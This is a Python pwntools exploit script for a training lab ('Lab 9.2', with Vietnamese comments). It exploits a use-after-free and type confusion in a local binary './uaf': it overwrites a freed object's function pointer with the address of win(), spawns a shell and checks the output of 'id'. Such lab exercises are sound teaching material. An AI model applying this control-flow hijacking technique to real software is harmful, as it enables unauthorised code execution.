#!/usr/bin/env python3
# Lab 9.2: UAF + type confusion. Doi luong ve win() -> /bin/sh.
# Chay voi ASLR BAT: binary no-PIE nen win() co dia chi co dinh, khong can leak.
from pwn import *
context.binary = elf = ELF('./uaf')
context.log_level = 'info'

io = process('./uaf')

def create(info=b'hello'):
    io.sendlineafter(b'> ', b'1')
    io.sendafter(b'info> ', info + b'\n')

def use():
    io.sendlineafter(b'> ', b'2')

def free():
    io.sendlineafter(b'> ', b'3')

def spray(data):
    io.sendlineafter(b'> ', b'4')
    io.sendafter(b'data(32)> ', data)

create(b'AAAA')          # cap phat Obj, action = say_hi
free()                   # free nhung con tro o van con (UAF)
# chiem lai chunk vua free, ghi 24 byte padding + dia chi win vao o tri action
spray(b'A'*24 + p64(elf.sym['win']))
use()                    # o->action() bay gio = win()

io.sendline(b'echo ===PWNED_9_2===; id; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_9_2===' in out, 'FAIL'
log.success('UAF type-confusion OK: win() reached, got shell')